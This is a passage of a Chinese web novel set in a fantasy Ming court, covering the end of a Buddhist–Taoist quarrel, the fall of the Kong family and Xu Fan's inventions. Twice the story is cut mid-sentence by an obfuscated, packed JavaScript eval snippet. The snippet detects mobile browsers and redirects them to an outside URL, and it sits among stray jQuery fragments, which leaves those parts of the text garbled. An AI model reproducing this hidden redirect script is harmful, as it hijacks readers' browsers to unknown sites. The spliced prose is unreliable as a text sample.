从未听说过刀刃消失了,而锋利还能存在,同样的道理,**消亡了,精神岂能存在? 简单来说就是一句话,你佛门的神不灭教义,就是胡扯,对于人来说,**就是一切。 这一点,即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669385|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是用在他们这些修仙者身上也极为契合,修仙是为了什么?长生逍遥。 长生逍遥如何体现?那便是无穷无尽的**,无穷无尽的**又从何感知?身体! 所以,身体才是一切! “轰!”禅霜小脸在这一刻瞬间惨白一片,小小的身躯晃了晃,那一双慈悲而明亮的眸子在这一刻瞬间暗灭了下来。 取而代之的是一片通红,继而大大的眸子里开始水雾酝酿,她努力抿着嘴,嘴角下弯,委屈的看着清风这个坏女人。 脑子里只有一个念头:完了,佛门完了! “咚!”紧跟着气急攻心之下,这位禅霜小法师双眼一翻,直接晕了过去。 不过就在她身体倒地的一瞬间,清风全是来到了她身边,直接将其扶着。 “这就晕了?”看着被自己扶住的小尼姑,清风明亮的眸子眨了眨,“我是不是玩的过了?”想着,下意识的看向黄锦。 只见黄锦此刻满脑袋黑线,疯狂的给她使着眼色,嗯,看表情已经使了有一会了。 此时包括裕王和景王在内的内阁众人,此刻也是有些好笑的,看着这位清风国师。 “都吵完了?”就在这时,偏殿处,修剪完灵桃树的嘉靖也缓步来到了大殿。 “皇上……”看到嘉靖出来,众人就要行礼,却被嘉靖摆摆手,“行了,都平身吧。” “谢皇上。”众人又各自归位。 反倒是站在大殿中间的清风,此刻扶着禅霜,看着坐在御座上的嘉靖,有些脸红。 当然不是什么害羞,而是觉得自己似乎玩的太过火了,原本可以早早结束,把时间留给内阁众人借题发挥,处理儒宗的,结果自己玩上头了,耽误了不少时间,还把国师禅霜给气哭了。 “清风丫头,你威风啊,”嘉靖肃容说着,身子微微前倾,不过眼神中却没有责怪之意,反而用一种宽容的语气,严肃道: “你跟禅霜都是国师,你把人家给气晕了,成何体统,嗯?” 看着皇上对清风的宽容态度,众人皆是心思各异,果然,清风才是最受宠的那一个。 “皇上,我错了。”清风低着脑袋,轻声道。 嗯,她玩够了,现在只想赶紧回去修炼。 “哼,一句错了就能结束了?”嘉靖轻哼一声,然后大手一挥,道:“听着……” 这时,吕芳赶紧走出来。 在他身后,黄锦和陈洪也赶紧跟上。 “国师清风,禅霜,身为佛道二教如今的领袖,却言行无状,不成体统,无怪呼让佛道二教祸乱天下,着二人禁足玄圃宫与万法宝殿。” “无令不得出!” 听到这话,众人都知道,这场佛道之争的大戏算是彻底的平稳落幕了。 接下来就是重拿轻放,慢慢的各地方衙门会将佛门和道门羁押的一些人释放,如此一来,皇上手里的这俩柄刀剑算是平稳收回。 此时严世蕃心底也微微松了一口气。 毕竟,利用佛门和道门,掀起三教之争,把事情闹大,从而拔除孔家,对儒宗出手的计划是自己跟老爹严嵩一手策划的。 而这个过程当中,需要找皇上借剑一用,如今剑也算是归还了,还附送了一个佛门这把刀。毕竟,请皇上出手,哪有不付出的道理? 总之,事情了了就算是好。 相比于严世蕃的心底狠狠松了一口气,放松不已,严嵩的面色从始至终都表 现得非常平静。 当然从始至终都属于是一个推手,并且作壁上观的清流众人,此刻也是一脸轻松。 这时,只见严嵩微微撇头,看了儿子严世蕃一眼。 收到老爹眼神示意的严世蕃心中一动,知道接下来该说正事了,而后踏出一步,对着嘉靖一礼后,道:“回禀皇上,臣有本奏!” 说着,严世蕃从袖口里掏出一个奏本。 吕芳见此,则是拿着奏本,递到嘉靖手里。 “回皇上,”严世蕃神情严肃,道:“佛道之争虽然自古有之,但臣以为,如今我大明由此佛道之乱,并非完全是佛道二教之过!” “实则是,有人在背后推波助澜!” “故意挑起佛道之争,而其目的就是要阻止朝廷变法,阻止‘启思革新’的国策推行,这隐藏在背后之人,用心之险恶,令人不齿。” “臣以为,当严惩不贷!” 小阁老严世蕃在这一刻,身上再次爆发出了惊人的圣洁光辉……仿佛是一个忠臣。 “哼!”看着严世蕃这一副伟光正,圣洁无比的忠臣模样,高拱心里就是不爽,不由得将脑袋撇向一旁,发出一声轻哼,他实在是看不惯严世蕃这一副,小人得志的丑陋嘴脸。 装什么忠臣啊,谁不知道你严世蕃是个什么货色,把自己搞得这么为国为民,我们算什么? 接下来毫无疑问孔家要被收拾了,然后就是儒宗。 再紧跟着就是严世蕃的变法之路。 一想到接下来三四年的时间,严世蕃都要风光无限,日后平步青云,他心里就很不是滋味,有种比自己仕途受阻还难受的感觉。 但没办法,这是国策,是皇上拍板决定的。没有人可以在国策上给严世蕃使绊子。 否则就是在抽皇上的脸! “哦?”嘉靖神识一扫,将奏本上的内容看完后,目光投向严世蕃,“那你倒是说说这挑起佛道之争的背后之人是谁?” “经过臣的多方查证,在背后挑起佛道之争,试图阻止大明变法之人不是别人,正是衍圣公,孔贞干!” “一切只因为臣在嘉靖四十七年年底的时候,提出的‘启思革新’国策,触及到了孔家的利益,孔家便利用他们在儒宗的地位,开始暗中百般阻挠,千方百计的挑起佛道之争!” “经过调查,受孔家之邀,挑起佛道之争的名单,臣已汇总成册,还请皇上过目!”说着,严世蕃又从袖口里拿出一个册子。 吕芳见此,也是赶紧将册子呈上。 “此外,这些人的书信往来,也都已经运往京城,明日便可阅览。”说着,严世蕃深吸一口气,大声道:“皇上,人证物证俱在,还请严惩孔家,严惩衍圣公,严惩儒宗!” 说着,严世蕃直接跪在地上,脑袋杵地。 嗯,如此一副铁骨谏臣的模样,让在场熟悉严世蕃为人的众人,都是眼皮直跳。 不过不爽归不爽,看不惯归看不惯,但他们知道这是必要的,儒宗需要一个由头去处理。 “都看看吧。”嘉靖没有说话,而是抬了抬手,示意吕芳将奏本传给众人看。 很快,从裕王跟景王开始,内阁和司礼监都开始争相传阅了起来。 大殿之上,经过短暂的沉默后,众人又都将奏本归还到了吕芳的手上。 “既然都看完了,那就说说吧,”说话间嘉靖抬了抬手指,示意严世蕃起身,“起来说吧。” “说起儒宗和孔家,臣倒是想起一件事,”这时,严嵩缓缓起身,从袖口里拿出一份奏本,“这是前不久,海瑞上疏弹劾孔家和儒宗的奏本,他也希望严惩孔家,并阐明儒宗之危害。” 接下来要铲除孔家,拿整个儒宗开刀了,那么谁来开刀?除了海瑞,没有人更合适了。 “念给他们听。”嘉靖摆了摆手,没有再看,而是示意吕芳念海瑞的奏本。 “是。”吕芳点了点头,然后打开奏本,开口念了起来。 “臣闻国之兴衰,在于政之得失,民之安危,系于治之宽猛。” “今臣谨陈,孔氏一族独掌儒宗,其势甚炽,窃恐有悖于王纲,有损于皇权,故上疏以陈愚见,望陛下详察!” 听到海瑞开口就是拿整个儒宗,矛头直指孔家,众人都是暗暗敬佩。 现如今整个大明朝敢这么做,敢这么说,又有那个资本和靠山的,只有海瑞了。 “自汉武以来,儒学大兴,孔氏一门,世代承袭,其宗脉绵延,学派蔚然成林。然历朝历代,皆有制衡之道,以防一家独大。” “今孔氏一族,久执经义,广纳门生,私授经术,致使其门人遍布朝野,势力庞大,几可与国之重臣比肩,更有甚者如张慎行之流,更是唯其命而是从!” “此等情形,实与昔年门阀士族之弊无异。” “昔日门阀士族,专权横行,置国家法度于不顾,自成一派,结党营私,致国力衰微,民心离散。” “今孔氏一族,虽以儒学为表,实则以学统政,暗中培植势力,结交四方豪杰,俨然成为一独立王国。” “其独掌儒宗,不惟有违君主集权之意,更有与王朝抗衡之势,长此以往,必将威胁 第一百六十九章 落幕,孔家覆灭 此时的大殿上,很是安静。 听完海瑞的这份奏本之后,都沉默了。 虽然都知道,接下来朝廷要变法,就不可避免的要对孔家出手,但真正去做这件事的时候,却没有几个人愿意当这个出头鸟。 “海瑞所言,都怎么看?”嘉靖淡淡问道。 不用其他人说话,严嵩率先开口,道:“海瑞为人众所周知,若非事态已经严重到了不可收拾的地步,海瑞是不会上此激进之言的。” 严嵩的语气温吞,道:“其实通过这次的三教之争就可以看出来,孔家的能量,已经远远超出了一个普通家族所该有的力量。” 说着,他微微回身,看向众人,轻笑一声,“若是再让孔家存在下去,这大明朝可能真的要出现另外一个,媲美朝廷的势力了。” “若是日后,我大明在步入仙朝,仙法普及之后,孔家如此家族,那就是一个极不稳定的存在,轻则王朝动荡,重则颠覆一切……” 听到严嵩这么说,徐阶抬了抬眼皮,上前一步,道:“臣,徐阶,恳请皇上彻查孔家!” “臣附议!”张居正也跟着开口。 “臣附议……”这时,高拱、赵贞吉,胡宗宪、王崇古、俞大猷等人纷纷开口。 此时,严嵩就是在以内阁首辅的身份说话,而且到了这个时候,内阁明白,确实该团结了。 三教之争已经拖了将近一年时间了,该结束了。 对于他们来说,大明早一日步入仙朝,他们所能收获的灵物资源,也就多一分,他们的家族也能早一日跟着步入修仙就在的行列。 现在对于他们来说,孔家挡着的不光是严世蕃的变法之路,还有他们所有人的未来。 “哼!”司礼监陈洪等人看着团结一致的内阁,心头不由发出一声冷笑,暗骂孔家愚蠢。 若是孔家挡住的是严党或者是清流,任何一方的路,都可能有翻盘的机会,但他挡的是整个内阁所有人的路,他的结局早已注定。 “既如此,那便命海瑞为钦差,彻查孔家,若查证属实,便依法办理!” “皇上圣明!”既然该解决的,该说的全都结束了,那么自然也不需要废话了。 对于内阁众人来说,赶紧办正事吧。 翌日,朝廷政令从京城发出,辐射向整个大明。 佛道二位国师被禁足,无令不得出!消息一出,天下一片哗然,谁也没有想到如日中天的佛门和道门两位天才国师,就这么失宠了。 不仅如此,紧跟着就听另外一个消息从宫里传出,内阁弹劾孔家利用自身在儒宗的地位和影响力,故意挑起三教之争,霍乱天下。 命宁波府知府海瑞为钦差,亲赴曲阜彻查孔家。 儒释道三教纷纷遭到朝廷铁拳重击,紧跟着大明朝两京一十三省,各布政使纷纷下令,要求各地方衙门彻查三教之乱背后隐情。 从朝廷政令发出,再到两京一十三省各布政使下令彻查三角,仅仅只是用了不到半月。原本席卷大明的三角之争热潮,瞬间被驱散。 取而代之的是三教被清算! 在朝廷全力运转之下,大明朝百姓也纷纷四散,什么佛门,道门,什么修仙长生,什么因果轮回,还是老老实实的吧,他们可不愿惹事。 曲阜,孔家,大堂。 “噗嗤!”孔贞干颤抖着看完手上的信笺,面色一阵潮红之后,突然仰头喷出一口老血。 “家主!”眼看着孔贞干倒地,孔家一众族人顿时大惊失色,眼看着要昏过去的孔贞干,一些族老连忙给他掐着人中。 “啊!”半晌后,孔贞干转醒的第一时间,就仰天发出一声悲呼,“孔家,完了!” 这一刻,孔贞干悬着的心,终于算是死了。 一切都被自己的儿子孔尚贤给说中了,那位皇帝,他真的铁了心要对孔家动手了。 “家主说什么?!”听到孔贞干的悲呼,众人纷纷大惊。 他们不明白,以孔家在儒宗的地位和影响力,就算是朝廷也不敢轻易的对孔家动手吧?一时间,整个大堂内乱哄哄一片。 此时众人自然也已经知道了朝廷要彻查孔家的消息,不过他们内心当中其实并没有太过于担心,毕竟孔家的地位摆在那里。 就算孔家利用关系网,暗中煽动挑起佛道之争,朝廷也不至于拿整个孔家下手才是。 除非,朝廷想要废了整个儒宗。 然而经过此前孔尚贤的一番分析,孔贞干已经明白,朝廷是铁了心要办孔家的。 自己自以为给了皇帝台阶和选择,皇帝却连正眼都不曾看一眼,皇帝,根本不在乎儒宗。 这一刻孔贞干才发现自己是何等的可笑,还傻乎乎的去推波助澜。现在好了,直接就成了自己霍乱天下,阻碍变法的铁证! 自掘坟墓,这是何等的可笑。 一时间,孔贞干自嘲的笑了,望着湛蓝的天穹,眸子里流露出一抹后悔之色。 半晌后,心灰意冷的孔贞干,拒绝了旁人的搀扶,步履蹒跚的来到了祠堂,犹豫了片刻后,他终是推开了大门。 “嘎吱!”明亮的光线从门外射入,将那依旧跪在祠堂里,面对 着祖宗灵位,背对着自己的身影包裹在其中。 “尚贤,”孔贞干张了张嘴,道:“一切都都让你料到了,皇帝真的要对孔家动手。” 听到身后传来的声,孔尚贤睫毛微微一颤,继而缓缓回身,朝着门口看去。就看到了浑身被光所笼罩包裹的父亲孔贞干。 隐约间,他似乎看到了之前身子骨还非常健朗的父亲,此刻却仿佛瞬间苍老了几十岁一般,宛如一个行将就木之人。 不过在听到父亲刚才说的话后,他也顿时明白了过来父亲为何会如此。 虽然他早已经看透了朝廷的意图,但他终究是孔家的一份子,他内心深处,还是更愿意相信父亲的判断,才是正确的。 因为只有那样孔家才会平安。 但事实,往往是事与愿违的,父亲的判断失误了,一切都被自己所料到了。 “父亲打算如何?”孔尚贤问道。 “为父……”听到儿子孔尚贤的询问,孔贞干张了张嘴,却是无法拿出个主意来,此刻的他心乱如麻,前来寻找孔尚贤,也是想看看这个早就预料到如今地步的儿子,能有什么办法。 他死不足惜,如今孔家所要面临的一切,都是因为他固执己见,将孔家带上了一条绝路,但是孔家不能因为他而亡。 儒宗也更不能因为他而落魄。 “尚贤可有什么办法?”孔贞干张了张嘴,此前那张老脸上的自信之色早已消失的一干二净,取而代之的是一片落寞与期盼。 “父亲!”看着苍颜白发的父亲,孔尚贤心中也是隐隐刺痛,也顾不上再跪着,起身朝着父亲走去,父子俩相互搀扶着。 “儿啊,这次皇帝派来的人是那个海瑞,此人软硬不吃,如今孔家利用在如中的地位和关系网挑起三教之争,从而引发大乱的证据,那个海瑞前来,必然不会轻饶孔家……” 孔贞干说着,泪眼婆娑的看着儿子,“你可有何良策,应对此危机?” 说出海瑞软硬不吃,是因为孔贞干心里清楚,此人就是朝廷的一把剑,只要证据确凿,人证物证据在,那么海瑞必然会依法办理。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669386|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不仅如此,海瑞根本不会惧怕处理了孔家,会不会恶了被天下儒宗。 这是一个没有弱点的人! 既然被拿出来,就意味着朝廷是不会给他一点余地的了! 看着老父亲这期盼的眼神,孔尚贤张了张嘴想要说些安慰的话,但最终还是没能说出口来,因为他知道,孔家是站在朝廷对立面的。 若是早一些时候,在严世蕃提出变法,或者是三教之争刚开始的时候,他们有所察觉,就立刻向朝廷臣服,主动去改变儒宗。 或许他们孔家还能平稳落地,可是现在,对于朝廷来说,想要对天下儒宗进行整改,就必须要拔除孔家,因为孔家代表的就是儒宗。 看着沉默的儿子,孔贞干眼底的期盼之色终于散去,取而代之的是一片落寞与悔恨。 “悔不该当初,”孔贞干松开儿子的胳膊,颤颤巍巍的转身离去,“悔不该当初啊!” 嘉靖四十八年,十月底。 大批的官兵入驻了曲阜,钦差海瑞带头,包抄了孔家,海瑞以人证物证俱在为由,将孔家凡是参与此次三教之争的族人全部打入大牢。 而主谋孔贞干更是对这一切供认不讳。 嘉靖四十八年,十一月初五。 朝廷下令,废除孔贞干衍圣公爵位,从此孔家不再享受衍圣公爵位所带来的任何便利。 孔家祖宅遭到查封,孔氏族人从此不得参加科举,不得出仕为官。 消息一出,天下哗然! 孔家衍圣公的爵位不但被削去了,就连孔氏族人都不准参加科举,出仕为官。 如此一来,天下儒宗代表的孔氏,不能出仕为官,这岂不成了一个笑话? 以后谁还敢将孔氏视作儒宗正统?最重要的是,没有了孔氏,那天下儒宗岂不群龙无首?一时间,不少官员,士人想要上疏。 可朝廷正在因为三教之争大兴牢狱,朝堂之上,同僚之间正愁着自己上不去位,这个时候谁要是敢为孔家求情,为天下儒宗说话。 那么分分钟举报密信就会呈上去。 是,此前这些人确实可以为了孔家,为了儒宗,甚至是直接上书给朝廷,弹劾严世蕃。 可那是孔家无错,朝廷没理由贸然出手对付孔家为前提的。 现在孔家挑起三教之争祸乱大明,这可是有确凿证据的,最重要的是三教之争引发的大乱席卷了整个大明,所有人都有目共睹。 这是铁一般的事实,由不得狡辩。 这个时候,谁还敢站出来上疏,要么脑子有问题,要么就是嫌自己活的太长,不耐烦了。 当然,也确实有这么一拨人不知死活,在海瑞动手铲除孔家,在朝廷因为三教之争而掀起大狱,无数官员纷纷入狱的当口,还主动上奏朝廷,弹劾海瑞,要求重新彻查此案。 但是结果嘛,自然是被统一划分到了孔家派系,想要霍乱朝廷的乱党之中被处理。 至于大多数机灵的明眼人,此刻眼瞅着朝廷要铲除孔家,要对儒宗下手,自然明白儒宗要完了,这个时候 赶紧能趁此机会上位就赶紧上。 反正树倒猢狲散,儒宗没有了孔家维系关系网,那就是存在于世人口中的一句话而已。没必要为这种虚头巴脑的东西跟仕途过不去! 嘉靖四十八年,十二月,上旬。 朝廷开始对三教之争,背后与孔家勾结的官员进行清查。上到六部,督察院,下到各府县衙门,无数官员因此而获罪入狱。 三角之争引发的大乱从开始到结束,整整持续一年。 一直到嘉靖四十九年,正式结束。 “……” 第一百七十章 天才徐璠?严嵩看上徐阶的儿子了? 玉熙宫内。 嘉靖端坐在御座之上。 下首位置上,裕王跟景王端坐。 身为内阁首辅的严嵩,依旧坐在火炉旁,低眉垂目,安静的靠着火。 内阁和司礼监分站两列。 不过此时众人的目光却是集中在大殿中间,那道身形高大,身着绯红色官袍,浓眉大眼的中年人身上。 确切的说是他手上,小臂长短的木盒。 此人不是别人,正是徐阶的儿子,现任工部尚书的徐璠。 “哼,”看着站在大殿中间,浑身上下隐隐间很是紧张,忐忑不安的徐璠,严世蕃发出一声冷笑,用只有身边高拱能听到的声音,道: “子不类父,徐鲁卿。” 徐璠,字鲁卿! 听到严世蕃的声音,站在旁边的高拱,狠狠瞪了一眼,也发出一声冷哼,悄声讥讽道: “小阁老这是在说自己吗?” “严阁老何等聪明之人,朝堂之上大谈国策,眨眼间便可为朝廷出谋划策,不知小阁老又学到了他老人家的几分火候?” “三教之争如何完美渡过,这里头,严阁老出了几分力,小阁老又出了多少力?想必小阁老自己心里清楚的很,何必五十步笑百步。” 高拱这一番话,也是在暗讽严世蕃同样是属于子不类父,没有比徐璠好到哪里去? “高肃卿!”被高拱这么一通嘲讽,严世蕃眼神陡然一冷,瞪着眼恨不得活吃了高拱。 高古这番话算是戳中了他的痛点。 三教之争的计策,虽然严世蕃嘴上说着是自己和老爹一手策划,但他自己心里清楚,利用佛道二教拉儒宗下场,将事情闹大。 最后由海瑞出面平乱,从而直接将整个孔家连根拔起,这确实是老爹的计策。 而自己在国策之上,确实不如老爹严嵩,尤其是随着众人开始修仙,大明盛世来临,所有人都在竞争后,清流不再藏拙,他就越发的感觉到,自己在这内阁中过的很是吃力。 毕竟让他去搞个朝堂内斗,或者是玩个阴谋诡计,陷害个什么人,他自然是信手拈来。 但若是让他参与到国策的施行,用上位者的眼光去做事,不说徐阶了,即便是自己向来瞧不上眼的胡宗宪,都甩他好几条街。 高拱这一句‘五十步笑百步’说的就是他也子不类父,这话不可谓不狠毒。 看着严世蕃吃瘪难受,高拱哼笑一声,双手揣在袖兜里,不再去看严世蕃吃人的眼神。 嗯,能让严世蕃不爽,他就开心! “徐璠,”御座上,嘉靖手指惬意的摩擦着御座的扶手,道:“听你父亲说,你研究《仙工博物志》,成果颇丰?” 闻言,所有人都好奇的看向徐璠。 之前,皇上给徐家赐下《仙工博物志》一书,他们可都是看在眼里的。 当日皇上赐下《仙工博物志》的时候,可是明确说了,书中记载着一些‘仙界’的机关术与工匠之术。 整个内阁,可以说都踏上了修仙之路,也都知道‘仙界’的存在。 但凡是跟仙界牵扯上的东西,就没有一件是不得不重视的。 徐家得到了《仙工博物志》,很有可能日后就专门为朝廷发展机关术与工匠之术。 现在,他们也想看看,徐璠研究出了什么?竟然能被皇上特招入玉熙宫议政。 严世蕃虽然看不起徐阶的这个儿子,不过对皇上赐下的‘仙工博物志’却是垂涎不已。 此前老爹说过了,要想办法让徐阶把这‘仙工博物志’对外开放,至少严家要拥有,他对此也是深以为然。 机关术,工匠之术,都是来自‘仙界’的技术,若不是事关未来仙朝的发展,皇上又岂会专门单独将此‘仙书’给徐家? 未来,他们这些人都是要发展成庞大,在仙朝扎根不朽的修仙家族的。 若无是家族能单独掌握一种对仙朝不可或缺的技术,那无疑是为家族发展又多了一层保障。 “回皇上,臣钻研‘仙书’一年时间,总共从中钻研出了仙工之物三种,并将其整理成图纸,只需皇上一声令下,便可投入使用!” 说起自己的钻研,徐璠脸上露出兴奋之色,说话间恭敬的抬起手里的木盒。 吕芳见此,则是打开木盒,拿出一捆卷轴,然后转身递交到嘉靖跟前。 嘉靖一摆袖袍,拿起卷轴打开的同时,神识探出一扫,然后就见卷轴上面刻画着密密麻麻的图案,零件,还有一些齿轮。 每一个零件,都是被人精心刻画,同时上面还标注着一些注释,精确到了毫厘。 当然,卷轴上还说了,按照‘仙工博物志’记载,一些零件甚至更小,不过对于修仙者来说,神识一扫就什么都明白了。 一来,徐璠不是筑基期的修士,二来他要让这上面的东西,可以投入到大明使用。 所以,很多零件他只能是仿照形状,将很小的零件,进行放大,然后反复推论计算,直到放大后的零件,经得起推敲才算结束。 徐璠呈递上来的图纸,总共是三件物品。 第一件名为“大地宝轮”,形状有点像水车,不同是水车有底座支 撑,这东西则没有,并且整体核心都是有齿轮镶嵌,还有锋利的铁镐,中间则是一个专门镶嵌灵物的核心中枢。 而在‘宝轮’内部则是有几个阵法,灵物镶嵌进去后,阵法会将灵气转化为灵力,推动齿轮,从而使‘大地宝轮’动起来。 而‘大地宝轮’身上那些锋利的铁镐,就像是蜈蚣的脚一样,可以深深的钻入地面,达到开山裂石的功效。 此物,是徐璠研究出来,专门用于大明修缮道路,开凿运河,或是开辟灵土的利器。 第二件名为‘火弩’,与大明的火铳功能和作用相似,不过体型上却比火铳要小巧的多。 体型大小只有小臂长短,使用长约十寸,食指粗细的箭矢,而在箭矢头部填充火药,发射后命中,威力极大,射程更是可达两里地之远! “火弩……”看着关 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不得不说,徐璠在工匠一道确实有天赋,仅仅是练气一层的修为,自己琢磨一年,就能鼓捣出来点东西,这工部尚书算是没白做! “不错,”嘉靖面容微宽的同时,将卷轴递给吕芳,道:“都看看,徐璠从‘仙工博物志’上得来的大明利器……” 很快,大殿陷入了短暂的安静,众人开始传阅起来。 半晌后,众人看完后,严嵩眼皮一抬,微微回身看了眼满脸兴奋,看着就像是个老实人的徐璠,心中一动,已然是有了计较。 “都说说吧,徐卿钻研出来的这三样东西,该如何使用?”嘉靖看向众人说道。 “回皇上,”这时,严嵩率先开口,道:“臣以为,徐尚书能从‘仙工博物志’中,仅凭一年时间,就钻研出三件于国于民的利器,实乃天纵之才,不过……” 众人听到严嵩开口,尤其是徐阶等人,都是心中一凛,他们知道,严嵩开口必然没好事。 果然,随着严嵩一句“不过”,徐阶眼神微微一凝。 事关他儿子,他不可能不重视! 一旦严嵩有什么企图,他会第一时间进行驳斥。 听到严嵩开口,嘉靖看了看紧张的盯着严嵩的徐阶,又看了看似是已经有所谋划的严嵩,眼底闪过一抹了然之色,静静等着严嵩的下文。 “此三物随后,也需要大量的人力物力,可不是人人都有徐尚书这般天才的……” “所以,臣以为,此三物若是要投入使用,当首先用于教学,让更多人知晓其中原理。” “正好,严世蕃变法也即将开始,组建新的国子监,不如就让徐尚书在国子监任职,专门教授工匠天才,也算是为大明日后发展挖掘人才!” 严嵩,看上徐阁老的儿子了! 这一刻,清流众人都是心中一凛,下意识的看向徐阶。 “……” 第一百七十一章 大明仙府,仙苗计划 “唰唰唰!” 几乎是严嵩话音落下的瞬间,众人的目光都朝着徐阶看了过去。 严嵩这是当着徐阶的面,挖徐阶的儿子啊。 此时,众人都想看看徐阶,徐阁老是什么反应。 毕竟严嵩说的什么新国子监,说的好听是为了朝廷培养人才,可说白了就是看上徐璠手里的《仙工博物志》了。 一旦这里头的技术交给国子监的其他学子,那徐家可就相当于是失去了一个依仗。 其实在场众人都能看得出来,如果徐家能将这‘仙工博物志’掌握在手中,那么以后徐家发展成为修仙家族,在仙朝将是不可或缺的存在。 很显然,作为对手,严嵩也正是因为看透了这一点,所以才会以为朝廷培养人才,让徐璠去新国子监任教为由,交出仙工技术。 严嵩这就是**裸的阳谋了! 当然,众人看到的是一份不可拒绝的阳谋,在徐阶眼中,他所要考虑的就更多了。 之前皇上将‘仙工博物志’交于他的时候,严嵩就已经暗示过,要把这东西放在新国子监,供百家之学,为朝廷培养人才。 而其中的潜台词,就是在告诉他,皇上是不会允许仙工技术被一家垄断的。 所以,徐阶此刻要考虑的就是皇上接下来的态度。 若是皇上不询问自己就应了严嵩的话,那这‘仙工博物志’必然是要交出去的。 反之,这‘仙工博物志’那就是他徐家日后在仙朝真正立足之根本所在了。 “皇上,”这时,严世蕃也明白了老爹严嵩的意图,当即上前一步,开口道:“新国子监,是接下来变法的核心所在。” “新国子监的主要职责之一就是培养朝廷所需的各类人才,这些学子将学习诸子百家,三教九流,方方面面的学识。” “此外,随着新国子建的建立,大明两京一十三省,各地都会建立起一座座学堂。” “而新国之间所学,将会是天下所有学堂的标杆!”说话间,严世蕃脸上满脸的正气。 “皇上,这‘仙工博物志’,乃是‘仙界’所传仙书,未来更是建设我大明仙朝不可或缺的基石之一,”严世蕃说着,语气一顿,“一个人的力量终究有限。” “徐尚书所钻研仙术,只有放入新国子监中,才能更好的被更多的天才所得!” “人多力量大,如此,我大明仙朝才能更快的建设完成。” 严嵩父子在大殿之上一唱一和,互相打着配合。 二人的目的可以说是毫不掩饰,在场众人都看的清清楚楚。 “严贼,狼子野心!”高拱咬牙切齿的低声咒骂。 张居正也是皱着眉头,不悦的看着严嵩父子,至于赵贞吉,则始终低眉垂目,老神在在。 他在内阁当中,自有自己的打算和谋划,自然不会轻易的表态。 最重要的是,这个时候表态毫无意义。 因为是否要将‘仙工博物志’的技术向新国子监开放,这取决于皇上的意志。 看着严嵩跟严世蕃,嘉靖又怎么可能看不透,这父子二人打的什么主意呢? 不过,他不在乎这些。 这‘仙工博物志’不论是传给新国子健发扬光大,又或者是成为徐家的一家之产。 对于他来说都无所谓。 因为他需要的,就是让这‘仙工博物志’可以被大明充分的利用,以增强国力。 而自己所想要的,不论是严嵩又或者是徐阶,他们心里都明白! 如果他们没有这一点意识的话,那么他们所失去的将不仅仅是一本区区的‘仙工博物志’,还有自己的仙途和家族的未来。 不过既然徐阶和严嵩都将选择权交给了自己,那么身为皇帝自然是以朝廷角度出发了。 “徐璠,”嘉靖轻抬了抬手指,惬意的看向下方紧张的徐璠,“这‘仙工博物志’现在是你的,研究出来的三件国之利器,也是出自你手,严阁老和严世蕃所言你怎么看?” 听到嘉靖没有询问自己,而是直接问了儿子徐帆,站在一旁的徐阶心中已然明了,皇上这是要求徐家把东西交给整个新国子监。 突然被问住,但又拿捏不住意图,朝堂政治嗅觉也不太灵敏的徐璠,脑海当中浮现出今日进宫前,父亲交代自己的一句话。 “今日玉熙宫议政,若是皇上问起,你自己又拿不定主意的,便将选择权交给皇上……”想及此处,徐璠不再犹豫,上前一步躬身道: “臣,全听皇上吩咐!” 相比于徐阶在朝堂政治上的老练,徐璠则是要单纯很多,不过他也知道,严嵩和严世蕃这对父子二人,是自家的死对头。 如今皇上又询问自己的意见,但又听说严嵩父子在内阁当中非常受宠。 形式与自己内心不符,自己又拿不定主意,也不好直接询问父亲,所以只能如此回答。 听到徐璠如此,嘉靖也没有想让他猜自己意图的想法,而且此事也没什么好让人猜的。 “既如此,那徐璠日后,便是新国子监的司业了,同时也兼着工部尚书之职,”说着,嘉靖语气微微一顿,“既然这‘新国子监’是严世 蕃变法提出来的一部分,那便由严世蕃任祭酒。” 国子监的官职,从高到低分别是,祭酒、司业、监丞、博士、助教、典簿、典籍。 其中祭酒,正四品的官。 祭酒是国子监的最高长官,负责整个国子监的一切教授学业管理和事务。 司业,正五品,是祭酒的副手,协助祭酒处理日常事务,同时也有教授学业的职责。 像是下面的监丞,负责监督学生行为及维护校规校纪,则是从六品官。 之后的博士,专门负责讲授经史等学业,正七品或正八品品级。 而助教,则是从八品或从九品的官员,主要是辅助博士,进行学业的教授。 典簿负责管理学校的各种文书档案的,则是最低品,九品典簿。 像是典簿之下的典籍,则未入品。主要是负责图书馆的工作,如书籍的整理与管理等。 严世蕃已经入阁,属于大学士,不过兼任一个新国子监的祭酒,也不算什么。 “臣遵旨!”徐璠当即躬身行礼。 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“皇上,”这时,严嵩抬起双臂,拱了拱手,“若是这灵脉种下,那整个京城便会灵气弥漫是否会因此而引发一些混乱?” 其他人听到严嵩如此说,也是微微点头,表情也凝重了下来。 此前那些飞禽走兽,都因为灵物资源而发生变异,甚至现如今严家就在为朝廷培养灵兽大军和战马,还有朝廷专用的灵隼。 不仅如此,朝廷甚至还秘密培育出了一些狼、狗等等,大明专属的灵兽。 这些都是飞禽走兽沾了灵物后发生变异,不过这些都是人为培育,属于是可控范围,不会出现什么大面积的混乱。 像是一些变异了的,不听话的野兽,都在培育出来的第一时间被秘密处死。 可如今皇上说要在整个京城范围内铺设灵脉,且明确说京城内会有灵气充斥。 他们都在担心是否会出什么乱子,难不成,大明这就对外宣告,要步入仙朝吗? 